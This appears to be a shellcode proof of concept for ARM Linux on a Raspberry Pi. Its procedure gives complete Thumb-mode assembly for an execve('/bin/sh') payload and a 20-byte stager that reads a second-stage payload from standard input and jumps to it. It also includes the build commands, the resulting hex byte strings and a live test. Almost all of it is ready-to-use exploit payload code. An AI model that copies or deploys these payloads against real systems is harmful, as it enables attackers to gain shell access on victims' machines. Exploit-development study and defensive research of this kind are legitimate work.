[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux

Distributor ID:	Raspbian
Description:	Raspbian GNU/Linux 9.4 (stretch)
Release:	9.4
Codename:	stretch

[Procedure]
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode (20 Bytes).

pi@raspberrypi:~ $ cat binsh.s
.section .text
.global _start

_start:
    .THUMB
    // execve("/bin/sh", NULL, NULL)
    adr  r0, spawn
    eor  r1, r1, r1
    eor  r2, r2, r2
    strb r2, [r0, #7]
    mov  r7, #0xb
    svc  #1

spawn:
.ascii "/bin/shX"
pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin && echo
\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58
pi@raspberrypi:~ $


(2) Create stager shellcode (20 Bytes).

pi@raspberrypi:~ $ cat stager.s
.section .text
.global _start

_start:
    .ARM
    add  lr, pc, #1
    bx   lr

    .THUMB
    // read(0, buf, 0xff)
    eor  r0, r0, r0
    adr  r1, loadpoint
    mov  r2, #0xff
    mov  r7, #3
    svc  #1
    mov  pc, r1
loadpoint:
pi@raspberrypi:~ $ as -o stager.o stager.s && ld -N -o stager stager.o
pi@raspberrypi:~ $ objcopy -O binary stager stager.bin
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' stager.bin && echo
\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x40\x40\x02\xa1\xff\x22\x03\x27\x01\xdf\x8f\x46
pi@raspberrypi:~ $

(3) Operation test.

pi@raspberrypi:~ $ (echo -ne "\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58"; cat) | ./stager
